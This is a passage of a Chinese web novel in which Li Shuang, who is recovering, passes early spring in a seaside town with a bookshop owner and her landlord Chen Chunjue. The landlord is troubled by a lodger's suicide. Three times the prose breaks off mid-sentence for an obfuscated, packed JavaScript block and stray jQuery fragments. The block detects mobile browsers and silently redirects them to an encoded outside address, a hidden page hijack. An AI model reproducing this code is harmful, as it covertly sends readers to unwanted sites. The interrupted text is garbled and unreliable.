“不用给我,你没事陪我来聊聊天,我就很开心了。”程椰蹲在书架前摆书,阳光落进来,落在她的背上,柔和。
李霜垂眸,笑:“那好啊。”
三月初,最后一场雪结束后,气温回升。两难的季节正在努力跑远,似乎北半球每个人的内心都在叫嚣,春天马上到来。
可李霜内心却毫无起伏。
接下来的两日,白天的时候李霜就窝在书店的角落。书店虽小,但靠窗的位置有榻榻米,她就坐在上面盖着有流苏的毛毯,喝着热茶,读书。荒度一天,而后在日落时分和程椰关门,一起去诊所打吊瓶。
三天的吊瓶打完,李霜不必再前往诊所。
身体在好转,情绪在平稳。
李霜想,就这样躲在这里度过余生也好,哪有太多意义去寻找,也没有更多的人生去想探索。
某日午后,李霜将看完的《在绝望之巅》归还。
程椰惊讶:“你看书好快,做编辑的都这样速度吗。”
李霜轻笑,“没有,其实读外文书很慢的。”
“还要读外文?”
“嗯嗯。我后来去了另一家出版社,译文出版社。换了个岗位,做图书策划,偶尔需要读外文书的。大多数时候都是在做策划方案。”
“好玩吗?”程椰的眼睛很亮,与陈春决的眼睛不同。
她的眼睛是坚韧而自由的。
“不好玩的。”李霜突然想把以往自己喜欢的事物的另一面暴露出来。
“出版编辑真的不赚钱,很痛苦的。绝不是那种只会看书的清闲职业。而且出版社的水很深。行业也很乱,经常有公司跑路。不过我在的这两个公司在业内评价已经算不错了,所以没有太糟糕的经历。”
“啊——果然世界上没有好工作啊。我之前是做设计的。也是特别痛苦的工作,每天都在改方案,改了八百遍,我可怜巴巴联系甲方,结果他说——”程椰坐正,模仿讨人厌的语气,“小程,我觉得吧,还是最初的那版效果好,你觉得呢。”
“我当时整个人都气炸了,还你觉得呢,我做了一个月啊,你怎么不早说,当时我都想把桌上的茶倒在他头上。但还好作为优秀牛马的我,忍住了。”
李霜被她逗笑,眼睛眯着,整个肩膀都在颤动。
程椰也在笑。
“所以,你才辞掉工作来这里休息吗?”
“不是的。我其实那时候很喜欢大城市的生活,虽然工作很痛苦,但我觉得忙碌会让我上瘾,好像这样我就会特别成功。”程椰望向窗外,阳光让她的眼睛成琥珀色,像是幼时的她收集的黄水晶。
“我以为我会在大城市里生活一辈子,但我弄丢了我爸。这家店是他开的,他总说这里很好,但我总因为忙而挂掉电话。
而且那个时候我还有男朋友,他说要和我结婚,但我们俩买房子还差一些钱,于是我就疯狂接单,埋头工作。结果我爸他生病去世了,那个时候我才发觉,原来一直在躲避的话,生活会给你重重一击。”
“对不起,我不该……”李霜放下茶杯,垂眸盯着放在烤炉上的桂圆,圆圆的,被火烤得膨胀起来。
“用不着对不起呀,他离开之后,我就接手了这家店。我来了之后,发现这里确实挺好的。”好到让我觉得之前的生活方式是错的,它没那么适合我。
“你应该是能量很高的一类人,在这里不会孤单吗?”
“有时候会想念那些高楼大厦,甚至我的脑袋里会偶尔听到打卡机‘叮’的声音。但换种生活方式也没什么不好的,或许我本身就有静的一面。也可能等哪天腻了,或者我真的做不到这件事,我就离开去探索更多其他的可能性。”
李霜给她倒上热茶,歪头,“我觉得你做得很好。”
程椰噗嗤笑出声,“怎么突然这样正经。”
“因为每本书你都照顾得很好,所以你的人生你也会照料得很好。”
这四天,李霜都窝在书店读书,她坐在榻榻米读书时,程椰会在店里忙其他事。把书架用湿抹布擦过,再用干抹布擦干。有小孩过来乱翻书,把书弄皱,程椰会教训他们一顿,再把损坏的书压在厚重的书底下,让重力尽量复原。店里有快递二手书的业务,发快递时,她也会把书包裹整齐,尽量每个边角都照顾到,还会在快递盒里放上一张明信片,提醒顾客小心对待书籍。
得以窥见一角,她对待书籍或许也是她对待生活的一角。
“这是什么逻辑关系?”程椰觉得这个女孩有点可爱。
“我的道理。”
“那我信了。”程椰笑,眼珠一转,“你多大呀?”
“二十九岁。”
“哇,那你比我大三岁,比陈春决大……两岁。”
“是吗。”
说话间,书店的木门发出声响,上方风铃被牵动,发出清脆的声音。是程椰新买的,早上才安上。
陈春决从门口探头,进来时在入口跺脚让泥土掉落,声音敞亮,“快给我弄点水喝,渴死我了。”
程椰起身,倒上水,放到桌上,“咋了,去搞个菜地,那些爷爷奶奶没给你水喝?”
他今日去帮镇上的爷爷奶奶去翻菜地了。
“没顾得上,碗里的水掺了土,不好意思让他们再跑一趟。”陈春决脱去外套,坐在李霜右侧,接过她递过来的水,“谢谢。”
程椰转身走到书架去整理书籍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599526|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,圆桌只剩下李霜和陈春决。
陈春决仰头大口喝水,喉结滚动,吞咽声清晰。
李霜盯了几秒,移开目光,又皱着眉头,看过来,“陈春决,你鼻尖上有灰。”
他把茶杯放下,揉几下鼻子,偏过身,将脸凑过来,“还有吗?”
突如其来的靠近,令李霜眼睛睁大,不易察觉地后退几分。
太阳撒下金粉,落在两人之间,他这下动作,让光芒瞬间定格在他的脸上。
李霜扫视一眼他的脸,鼻尖上的灰尘并未擦去,鼻侧的痣也看不清。可这人眨着眼,光芒落在其中,亮晶晶的,那点灰尘在小麦色的脸上也没有影响。
李霜回神,放轻声音,“有。”
他俯身从桌上抽出纸巾,使劲擦几下,又问:“现在呢?”
“没有了。”她忍着笑。
“为什么笑。”陈春决见她笑,也忍不住跟着笑。她的笑容很浅,眼睛弯着,卧蚕像艘小船。
“觉得有点像小煤球,那个宫崎骏的电影。”
“我?”他这么大只,哪里像小煤球。
“我随便说的。”
“这部电影你不是没看过。”上次两人在车里聊过《千与千寻》,陈春决还记得。
“嗯,我这几天在短视频刷到了。”李霜心口突然一阵疼痛,她刻意忽略掉这种情绪。
心理医生说,去诉说,别深究。
“那你喜欢什么类型的电影?”陈春决剥了几颗桂圆,吃掉。
李霜见他手里拿着桂圆皮,把一旁的小垃圾桶递到他的眼前,“恐怖片。”
这个回答在陈春决的意料之外,他挑眉,偏头瞄了她一眼。
安静如鱼缸里的鱼,呼吸都冒不出泡泡。
“为什么?”
李霜托腮,往窗外看去,书店旁有块空地,种着几颗松树,松枝上垂着去年圣诞节啾啾挂上的装饰球,金色反着光。
“怎么说,可能是因为恐惧感无法掩盖吧。眼泪能掩盖,笑声能憋住,但恐惧不能,很小很小的反应也能被看出来。”
“为什么想看别人的恐惧。”陈春决震惊。
“不是看其他人的恐惧,我只是感觉其他情绪掩盖久了,在看电影的时候,我希望自己能畅快地感受恐惧。”
“好奇怪。”程椰把要寄出去的书拿到桌上,准备装快递。
“没有奇怪。”陈春决反驳,“那你最喜欢哪部恐怖片啊?”
“《招魂》,百看不厌。”
“欸——那不会觉得没意思吗?”程椰瞪大眼睛,“那些恐怖的点,已经被记住了啊。”
“是这样的,没错,但是一部喜欢的剧或者电影,看久了就会成为某种安全感的来源。”李霜曾经看过这样的理论,熟悉的作品会让人感到安全。
“哦!就像是我喜欢看《甄嬛传》。没事的时候放在那,哪怕不看也会觉得舒服。”程椰领悟到她所说的。
“是这样的。”李霜帮她整理书籍,按照订单分好,一旁的陈春决则负责把没有包装的书,包装好。
三人在聊天中,形成工作流水线。
陈春决思考几秒,灵光一闪,翻出手机的购物软件,开始选商品。
李霜看他在忙,也没有询问,把书拿过来包装。
8. 08
李霜察觉到屋檐下似乎有燕子搭窝,每日清晨都能听到燕子叫,清脆响亮,还颇有节奏。
最近几日,她的睡眠有所好转,早上大约七点就醒来。醒来后,李霜就坐在桌前读书,听燕子叫,倒也不觉得吵闹。
甚至隐隐有些上瘾,如果小鸟每日都在叫,那么春日就愈发近了。
七点,李霜拖拉着身体从床上起来,洗漱时发觉洗手间的窗户没关,夜里风大,吹进些枯叶和灰尘,里里外外打扫一遍后,终于来到厨房下面条吃。她吃面条时,想今日也是普通的一天,是平淡的一天就好。
李霜时常觉得「普通」是很珍贵的词语,在这个意外与事故多发的世界里,达到普通已经超过许多人了,甚至是幸运。
在小卖部买的咖啡条已经空了,李霜盯着昨日扔进垃圾桶的咖啡条包装纸发愣。在考虑要不要出门买咖啡时,门铃响起。
接着听到的是陈春决熟悉的声音,“李霜,李霜。”
莫名其妙的,感觉后面都飘着有形状的波浪号,而且为什么他总喜欢叫两遍名字。
李霜回神,走到玄关,看着电子屏里疯狂挥手的陈春决,轻笑,把院门打开的同时,打开房间门,往外探去。
初春的清晨气温仍低,打开门的瞬间,冷气将她包裹,冷不丁打了个哆嗦。
陈春决推开门,走进来,手里拿着箱子,用脚把门勾上,穿过院子时,他笑嘻嘻对上李霜探出来的眼睛,像小鹿,鼻尖都冻红着。
“怎么了,有什么事?”李霜扫了眼箱子,不解。
“给你添了好东西。”
“什么好东西?”她挪开,让他进屋。房东要添置物件,那就只能添置。
“让人开心的好东西咯。”非要卖关子的某人,语气都上扬。
李霜关上门,想他如果去讲故事会,这个调性,一定能叼一群小朋友的胃口。
陈春决把箱子放在桌上,从兜里翻出小刀,拆箱子。
他的背影宽阔,李霜早意识到他的身高有一米八以上,但此时内心仍感叹,好高。
走到他的跟前,看他用修长的手指将箱子里的物品拿出来。
是投影仪。
李霜愣住,看他望过来,她却不敢回望那双真诚的眼睛。
他的碎发随着抬头的动作,遮住眉眼,弯曲的头发蓬松。笑容像胶片相机漏出的光,再也无法显示其他内容。
“你的头发怎么卷了?”
“啊?”陈春决没跟上她的脑回路,放下投影仪,摸摸头发,“昨天的时候,程椰在店里试新买的卷发棒,给啾啾卷了不过瘾,非要给我试试。”
他的手指揉了几下头发,令杂毛翘起来,随后垂眸问她:“很奇怪吗?”
“有点可爱。”
陈春决听到她的评论,一怔。
李霜走上前,心不在焉地摸着投影仪,“怎么想起来买这个投影仪的。”
“你在房间里待着,没事做的话,万一胡思乱想怎么办。有投影仪起码可以看看电影。”
“别的住户也会有这种待遇?”李霜叹息,抬眸与他对视。
陈春决倏地紧张,低头看她已经低身研究起投影仪,“目前只有你一个住户啊……”
“陈春决,你是不是还觉得我会寻死?”
陈春决手握拳,听到这话,震惊地看着她,“怎么这样说?”
“你有这样觉得吧。”她的手指从投影仪移开,没再看他,声音沉闷,“放着吧,谢谢了。”
“李霜,我——”陈春决有种奇怪的感觉。
他确实是担心李霜在房间里胡思乱想,才会买来投影仪呀。
看恐怖片也可以,很多民宿都有投影仪。
他是这样想的啊。
但陈春决脑子里却突然浮现那日在海边礁石发现的尸体。
去年三月,陈春决来到青野镇,他来到这里就喜欢上,安静舒适,有股柔和的气场将他包裹,很想留下来,于是就留下来。
后来机缘巧合,他用创业挣来的钱买了四栋小楼,那时正是青野镇的低谷,房价低迷,正是入手的时间。
偶尔会有住户来到,但都是短暂停留的旅人,很快就退房离开。
直到今年一月的寒冬。陈春决的民宿迎来一位男住户,他不出门,也不与人交谈。到来过后,他只问过陈春决哪里可以看日出。
陈春决为他指了悬崖所在地。
第二日,镇上的人就发觉他坠崖,掉落在礁石之上,被海水泡了一夜。
镇上的人跑来,和陈春决说,你的住户自.杀跳海死了。
他一路跑到海边,看到浮肿的尸.体,差些吐出来,转身缓了半响,才忍住。
过一阵子,亲人来认领尸.体,陈春决也在现场。
那尸体不堪入目,他站在外面,听到那位住户的亲人哭得撕心裂肺。
那是陈春决第一次直面死亡。
经过这件事,他才知晓,有时在你人生中路过的人,你不知晓他们的苦楚,但仍会为生命震颤。
时间却不停歇,陈春决也没有办法能回到过去,救下他。
当李霜到来时,她褪去围巾,看到她清瘦的脸庞时,陈春决觉得那个眼神太过熟悉。
熟悉到,他想让她有事做到闲不下来最好,别乱想。
“陈春决。”她的声音很轻,感觉越来越远。
一下子被唤醒,他后悔自己的潜意识里仍不信任她。
“陈春决,我想睡一会,谢谢你的投影仪。你可以先走吗?”
“李霜,我没有那个意思……”
“真的吗?”
他却回答不出。
/
又过两日,程椰打算将店里的旧书架换掉。
前阵子店里倒了一桶水,让原本就破旧的书架浸泡许久,更加不扛用。于是程椰紧急订做了一批新的木书架,近日才到,趁着今天天气好换掉。
她喊来李霜、陈春决和田朗帮忙。
初春的时候,先出场的永远是路边不知名的花,不被人注意到,但光的温度能感知。阳光温煮整片大地,初春是苏醒的季节,也是让人变得话多的季节。
程椰搬着书架,吐槽:“不是说好给我搬书吗,陈春决去哪了!真的是靠不住的男人。”
李霜被书架压到脚,还未吱声,就被向海一把拉起,她忍不住帮那位两天不见的人说话。
“可能有事在忙吧,他不是把向海喊过来给你帮忙了吗。”
“是,还是咱们小海好。”程椰凑过来,跳起来摸了一把向海的脑袋。“椰子姐,你别老摸我头!”
“啧,小孩上高中了就是害羞了。”程椰耸肩,“你最近有没有想要的,当做报酬,姐姐买给你。”
“不用,反正也是周末,不用上自习。”
李霜搬着书放进纸箱,抬眉看他,“你在哪上高中?”
向海:“在县里。”
“远吗,不住宿?”
“不住,现在高一还好,晚自习没有那么晚放学。坐公交半小时到。”
“那还是挺辛苦的。”
“嗯,熬过去就好了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599527|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少年的脊背挺拔,像是竹节,李霜知道他在安静成长,不服输的劲蕴藏在他的内心。
朗哥也不说话,埋头苦干,搬了一趟又一趟,累到白T都浸透。
几人忙到下午四点终于收拾完毕,把书架换了方向,空出的位置把文具区的几个展柜往书架方向移,在角落空出来一片区域,程椰指挥朗哥和向海把买的地毯铺上,又再放了几个矮书架做装饰,上面放了一些花盆。
角落的大花瓶放了几束小南瓜,也被称为长寿果,程椰将它做成干花束,放在角落,红彤彤一片,让啾啾也凑过去看。
毕竟让大家帮忙收拾书架一天,程椰想晚上请大家吃大餐,于是让向海把啾啾也带上。
“好小的南瓜!”啾啾一个小时前已经被奶奶送过来,在刚刚改造过的书店充满好奇,跑来跑去。
程椰摸着她的小脸,“你的小脸也红红的,可爱!”
“走吧,咱们去吃烤肉!”程椰又薅了一把向海的头发,迅速溜到收银台后,收拾东西。
李霜牵着啾啾的小手,走出书店。
“啾啾,姐姐还不知道你的大名叫什么呢?”
“叫向雀。”
“麻雀的雀?”
“嗯嗯,我不喜欢。”
“为什么?”李霜捏紧她的手,把她抱起来,等田朗把车开过来,接大家去镇上的烤肉店。
“因为麻雀很小。”
五六岁的小孩,心思单纯,可能没有其他含义,但李霜却有点在意。
“你觉得这不好?”
“嗯,很脆弱。”
“不是的,啾啾,麻雀很坚强的。”
“真的吗?”
“真的。蛇要冬眠,熊也要冬眠,可是麻雀那么小,它却每次都直面冬天,总会把寒冬坚持过去,你不觉得它们勇敢吗?”
“好像有点厉害!”
“对啊。”李霜哄她,“所以你也会很厉害的,要慢慢来。”
“好,我想哥哥不那么累。”
“照顾你这件事,怎么会累呢,哥哥他很幸福的。”
“是吗?”向雀的眼睛很小,却盛下一场日落。
“嗯嗯,你这么可爱。”
“好,我相信小霜姐姐。”
那次在医院时,你小小一只,朝我的额头呼出温热的气息,拯救了我一次。
这话李霜说不出,因为小孩不懂,但那时的她,明确地受到了安慰。
说话间,陈春决突然出现在书店拐角。
两日未见,他的神态有些疲惫,手里还握着工具箱,想必又去哪位老人家里维修电器了。
程椰和向海也从书店出来。
一出来,程椰看到他出现,立马炸毛:“我们都结束了,你怎么才出现?”
“北城的咖啡店出了点问题,我去了一趟,今早刚回来,就被镇上的奶奶拉去修水管了。”
“你去北城了?怎么没告诉我啊,可以帮我带那家巨好吃的糕点的。”
“太忙了,一直没怎么有时间看手机,下次给你带。”陈春决尴尬一笑,眼睛瞄向李霜,但她一直在揉啾啾的脸,并未看他。
“那你要不要去吃烤肉?”程椰看田朗已经把车开过来,随便一问。
“什么烤肉?”
“就镇北边,新开了一家烤肉店啊,好像挺好吃的。”
“好,你们今天搬了一天吧,我请客吧。”
程椰的表情由阴转晴,“好啊,就这么定了,你开车带着李霜和啾啾,我们俩坐朗哥的车。”说完,就拉着向海走向田朗的车。
9. 09
三月初的白昼仍然短暂,日落抵达青野镇。远处的山最先沾染上橙,再近就抵达每个人的眼睛里,日落是旅人,只是停留。
程椰方才走过,带过一阵风,很快消弭在李霜的发丝之间,她的头发落在啾啾鼻尖,害小孩打了个喷嚏。
站在对面的陈春决也不说话。
沉默如融化的冰块滴落在二人之间,李霜抬眸望向他。
大抵是这两日去往北城太过匆忙,他的小狗眼耷拉着眼尾,嘴唇干涩有些起皮,连下巴也长出青涩的胡茬;穿着便于行动的黑色运动装,上身又套了件灰色的毛绒外套。全身散发出疲惫且可怜的气息,只敢偷瞄她几眼,看到李霜盯着他,又低下头踢脚边的石头。
“你看起来很累,我开车吧。”李霜把啾啾放下,拉着她的手,往前走。
“我——我能去?”陈春决立马跟上。
李霜眉间一皱,“为什么不让你去?”
“我以为……你不想看到我。”
“陈春决,我那天没有生气。”
“总之是因为我不高兴了。”
“那确实。”李霜听到他垂头丧气的声音,忍不住唇角一勾。
“我错了。”
李霜没接话茬,问他:“北城的咖啡店?”
“嗯嗯。就是和朋友合伙开的那个,原来的门店要关门,要搬新地址,我朋友要我回去帮忙。”
“两天就搬完了?”
“嗯,也挺快的。他们就是太久没见我了,找个理由把我骗过去而已。我去的时候都搬得差不多了。”
“哦,这样。”
/
正是晚餐时间,这家新开的烤肉店,在镇中心人流量较大的地方,所以几人到店时,仅剩一张大圆桌,正好容纳六个人。
程椰和陈春决点餐,向海带着啾啾去选饮料,田朗则坐在一旁闭目养神。
李霜时常觉得田朗这个人很神秘,似乎十年后他也是现在这副模样,不喜不悲。
捉摸不透。
叶幸然在两人刚上大学时,告诉母胎单身的李霜,要远离神秘的男人,他们一般都有不可告人的秘密。
要么是海王,要么是受过伤。
李霜瞥了眼坐在对面的田朗,捧着大瓶可乐的啾啾把可乐放在他的怀里,示意他帮自己打开。田朗表情温柔,把饮料打开后,又起身帮每个人都倒上,轮到她时,李霜伸手拒绝。
“不用了,朗哥,我喝大麦茶就行。”
“好。”
叶幸然,你说他会不会是后者?
李霜的身体瞬间在喧闹的烤肉店里变得透明,直到陈春决将烤好的五花肉放在她的盘子里。
透明的人被看到。
“要不要吃牛肉?”陈春决再次往她的盘子里放肉,如小山。
“不用,你先吃吧。”李霜埋头吃肉,原本毫无血色的脸,被烤炉熏得像被泼上番茄汁,身体也重新温热起来。
陈春决手中的剪刀和夹子被程椰抢走,她嘴里塞着肉,声音模糊:“你这,太慢了,给我,我弄吧。”
被抢走工具的陈春决,瞥了眼坐在一旁的李霜,她今日没有扎起头发,黑发顺着肩膀滑落,她伸手挽头发,露出耳朵,但仍有顽皮的碎发掉落。隐约间陈春决闻到熟悉的味道,是他放在民宿的洗发露的味道,很老套的薰衣草味。
不惊艳的味道,却让陈春决喉咙发痒。他的右手自然抬过去,将她的碎发拨起,整理好。
“你在做什么?”李霜偏头。
如瀑的头发随着她的动作垂落,挠过陈春决的手背,痒得他喉结滚动,但面上仍克制:“刚刚你有头发沾到酱了,我帮你把酱抹掉了。”
“哦,谢谢。”李霜选择相信他。
桌上的肉都吃得差不多时,几人在闲聊。
程椰的手机震动不停,她看了眼屏幕,拒接,手机摔在桌上。
几人看向她。
程椰挠头:“烦死了,是我前男友。”
“他怎么了?”李霜问。
“当时我们俩不是已经要谈婚论嫁了吗,我提分手,让他无法接受,所以就一直联系我。”
陈春决没听说过这件事,问:“从你来到这里?”
“嗯,都半年了。”程椰大口喝可乐,“我就是觉得没必要和你们说,就一直没聊过我之前的生活,和小霜也只是聊过一回而已。好烦啊。”
啾啾把可乐倒上,看程椰又一口闷掉,撇嘴提醒她,“姐姐,可乐不是酒。”
“呜呜,啾啾。姐姐能不知道这不是酒吗,我好想喝酒。”
“还有小孩呢,下回吧。”作为酒吧老板的田朗发话,其他两位成年人表示同意。
向海看他们要聊成年人的话题,于是拉着啾啾刷手机玩。反正时间还早,不着急回家。
“你们感情很好?”李霜好奇。
“嗯,应该算是很好吧,上大学时就在一起了,在一起五年了。”
李霜点头,“那时间成本挺高的。”陈春决猛地转头看她,她问,“怎么了?”
“你第一时间想的是这个?”
“有什么不对吗?”
他压制住内心的情绪,“没什么。”
程椰托脸,手搅着南瓜粥,叹息:“确实付出了很多时间。他是学金融的,家里条件也挺好的。我大概是他做过的最差劲的投资,所以他一直不服气,非要来找我问个明白。他想不通为什么我突然就不喜欢在大城市待了,一直认为我是因为爸爸去世,而悲伤过度。”
“可能以为我过段时间就好了,但没想到——没想到我来这半年了,还没好。”
陈春决问,“你确定他是不服气?”
李霜的声音同时响起:“你们俩的差距——”
两人对视一眼,李霜示意他先发言,自己则喝茶聆听。
“难道不是他舍不得你吗,毕竟这么多年感情了。”陈春决敛眸思索。
程椰则摇头:“不太像,我觉得其实我们俩确实挺不合适的,很多问题的。”
程椰和男朋友在大三时认识,她当时有门选修课整个学期没去过一回,最后挂科。只得在大三下学期重修。
在上课时两人被系统选为一组,要一起做结课作业。那门课是电影鉴赏,但是老师有些奇葩,让每组的两名同学,都要去电影院看至少四部电影,并拍照留念,到期末再递上一份共同制作的电影鉴赏汇报PPT即可。
很俗套的故事,在这个过程中,两人暗生情愫,结课作业交上,两人也谈起恋爱。
没有太多波折,直到大四毕业两人的感情都很好,身边的同学都说他们俩,毕业就会结婚。
但没有。
步入社会,两人合租住在一起,问题就逐渐在生活的许多角落冒出来。
两个人的消费观不同,男朋友想每周出去吃一顿大餐,犒劳忙碌一周的两个人,但程椰却不愿意,哪怕他主动请客。
“好,那我们一个月出去两回,好不好宝宝?你每天画图太辛苦了,我心疼你。”
“好啊。”爱能抵挡一切。
两个人的交友观也不同,男朋友要和朋友们泡吧,喝酒打牌,晚上带着一身酒味和烟味回来时,程椰总会与他吵架。
“你这样对身体不好,而且除了朋友,你平时还要和客户出去喝酒,还要抽烟,你想死吗?”
“对不起宝宝,我错了,我以后减少次数,我发誓。”
“好吧。”她尚且相信,两人在一起就能改变对方。
两个人的事业观也不同,男朋友家里有钱,找工作也可以靠关系,在大城市毫不心虚,而程椰心虚,哪怕她自信开朗,她也有种内心的不配得感,就逼自己拼命努力,想让自己配得上自己的男朋友,以及他的家庭。
“宝宝,你很好了,我爸妈就是一时无法接受你,你给他们一点时间。”
“嗯嗯。”那谁又能给予我时间。
两个人的婚姻观也不同,男朋友的家庭催促,他也着急,在程椰无数次以两人才毕业不久,现在结婚肯定不稳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599528|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定为借口时,必定迎来争吵。
但此时已经没有哄人和认错的环节,相爱的人也会有厌烦的那天。
在愈演愈烈之际,程椰的父亲去世,她选择离开。
没有对错,仅仅是不同路。
“我太了解他了。”程椰这样总结,“他的爱可能没有磨尽,但他的胜负欲一定占上风。”
而李霜吞下一颗青椒,咀嚼,瞥了眼陈春决,见他没有开口,她才说:“你们俩的感情,我们外人肯定不好说。但如果你当初给他的感觉是一时冲动的话,你可以考虑再聊一下,毕竟分别也要好好说再见。”
“我不知道怎么说,而且万一聊了,他跑来找我怎么办,我真不知道如何处理这种事!”程椰也学她吃用来装饰肉类的青椒,却被辣到狂喝水。
“我前男友现在也总给我发消息,打电话。我也不知道怎么办,不想面对……”李霜声音变沉。
自从在医院醒来,李霜就抗拒再见其他人,总会联想到叶幸然的离开。
李霜也无法明白,为何吴临白与他的那位女朋友分手后,转身又来可怜她。
好像要通过悲惨,而换来他的垂怜,真恶心。
陈春决一怔,后槽牙咬紧,“前男友?”
“对,我谈过恋爱很奇怪吗?”李霜放下筷子,对上他的眼睛。
“没有没有,不奇怪。可是他骚扰你?”
李霜想,吴临白联系她的一半原因,大概是她的父母逼迫的,“算不上骚扰。”
她转移话题,看向程椰,“总归是要面对的。”
“好吧,仔细想想分手确实是我的错,但是他也有错吧!”程椰五官拧在一起,撇嘴:“啊啊啊男人为什么这么烦人!”
其他桌的人也看过来,李霜和陈春决默契低头。
坐在一旁刷手机的啾啾突然摇着向海的胳膊,声音提高:“哥哥,我就要看动画片!”
向海满脸不耐烦:“我都说了,哥哥没空,而且这个电影是之前的了,电影院看不了。你能不能不要吵!”
“可是,哥哥我想看动画片……”啾啾眼睛像玻璃球,湿润。
“啾啾,想看什么电影呀?”程椰赶紧缓和两个小孩的僵硬氛围,她拿过手机,一看,“《疯狂动物城》,啾啾喜欢?”
“嗯嗯,我也想去电影院看这个!”
“可是我还要上学,而且哥哥哪有那么多——”他想起陈春决哥哥说的,不要在妹妹面前说贫穷之类的话。
李霜插话:“啾啾,不去电影院,也能看电影。”
陈春决闻言,想到那日的投影仪,蹙眉。可她好像不在意。
“姐姐的房间可以看电影,可以来姐姐家看。”
“屏幕有电影院那么大吗?”
“有,而且想看什么动画片都有。”李霜的表情也跟着夸张起来,笑眯眯地望着啾啾,“要不要来?”
啾啾跳下椅子,举起手回答:“要。”
“我也要。”陈春决头看她。他已经忘记前男友的事,响想起上次投影仪事件还未与她解释。
“什么?”李霜没听清,凑过去听。
“我也想去你的房间看电影。”
李霜挑眉,语气听不出情绪:“你没给自己买一个吗,哦想起来了,是怕我胡思乱想才买的。”
陈春决愣住。
向海起身,椅子发出声响,“我还要回家写作业呢,各位哥哥姐姐,咱们回家吗?”
“回回回。”程椰也跟着起身,伸懒腰,“吃饱了就困,我要赶紧回家睡觉。”
李霜也心不在焉地收拾东西,身旁的陈春决垂眸,没反应。
看到他没什么精神,李霜突然不想再逗他玩,倾身:“别这幅样子了,想看就来看,我能拦住你吗。毕竟是你买的投影仪。”
李霜俯身与他平视,浅棕色的眼睛探向他的内心深处。
陈春决被她的气息完全包围,柔和地,像海边的风,山间的雾,夜晚的潮汐。
涨得他心脏发烫。
10. 10
几人从烤肉店出来时,已将近九点。小镇连路灯都是昏暗的,甚至有一盏灯忽闪忽闪的,也不知会不会有人维修,李霜站在店门口,微微抬头,便是闪耀的星。
其他都不重要了,吃饱肚子出来,能看到漂亮的夜空,就已经能填满今日。
这算不算什么事都不做的馈赠呢?
陈春决把车开过来,送李霜回家。向海的家离田朗比较近,所以其他四人都在他的车上。
李霜不知在想什么,头靠着窗,目不转睛地盯着外面,也不出声。
小镇的路是近两年新翻修过的,开阔平坦,车灯照亮前路,经过一片湖泊,桥窄小只能容纳一辆车通过。湖水里的芦苇干枯,延伸到路面,蹭到车玻璃,在李霜的眼前划过。
似在深夜拉出一道裂缝。
一路无话,很快到达目的地。
李霜下车前,解开安全带,听见陈春决说:“那个投影仪你用过了吗,要不明天我早点来帮你开投影仪?”
明天恰好是周天,李霜答应让向海带着妹妹来家里看动画电影,时间是下午两点。
陈春决的话,让李霜思索两秒,投影仪很难用吗?
但她点点头,“一点半来吧。我买了咖啡机明天到,可以给你煮咖啡。”
“咖啡机,镇上不是有咖啡店吗?”陈春决疑惑。
“可是这两天,都没有开门。”李霜根据他自制的地图去过那家咖啡店,并没有开门。
陈春决想了想,觉得合理,“哦,那应该是又出去旅行了。”
“老板吗?”
“嗯嗯,那家店的老板,是我朋友。我没来的时候,他就非要来这里开咖啡店,拉我投资,我觉得这里没什么发展空间,就拒绝了。”陈春决见她认真听自己讲话,也跟着放松下来,靠着的皮质套发出声响,“后来我就辞职了,到处旅行时,他邀请我来小镇的,就留下来了。但他做什么都三分钟热度,这店开一个月都算久了,没事就出去玩。”
李霜听了,抿嘴笑:“你和朋友好奇怪,都只想开咖啡店吗。”
“不是,就是我妈妈喜欢喝咖啡,我爸在我小时候就喜欢做咖啡给她喝,于是我就跟着学,在要零花钱的时候,就给我妈妈拉花,她被哄开心了,就会给我钱。”陈春决也跟着笑,挠挠头发,“后来创业的时候,我大学同学就说我开咖啡店肯定爆火,我就信了,但生意确实不错。虽然我后来就不做咖啡了。”
他应该有幸福开明的家庭,和她不一样。
李霜抬眸,车内亮着灯,他右侧脸被照亮,柔和的轮廓,高挺的鼻梁前落下阴影。他没听到回应,转头看向她。
明亮的眼眸是漩涡,李霜很清楚,她强迫自己望向那双眼睛下方的青黑,声音恍惚:“陈春决,你得回去休息了。”
“啊——”陈春决看她敛眸,拿上包准备下车,反应过来,“嗯,你也早点休息,明天见。”
“明天见。”她下车关门,从车窗望进来。
/
翌日,是海面平静,无风浪的寂静日子。
日光照进屋内,将李霜唤醒,最近几日她的睡眠质量有所改善,上午会自然地被阳光照醒,不疲惫也不悲伤。
她盯着天花板看了几眼,醒来和下床还是两回事的,在第无数次告诉自己马上就起来时,门铃响起。
大概是咖啡机到了,李霜起来披上外套,赶去开门。
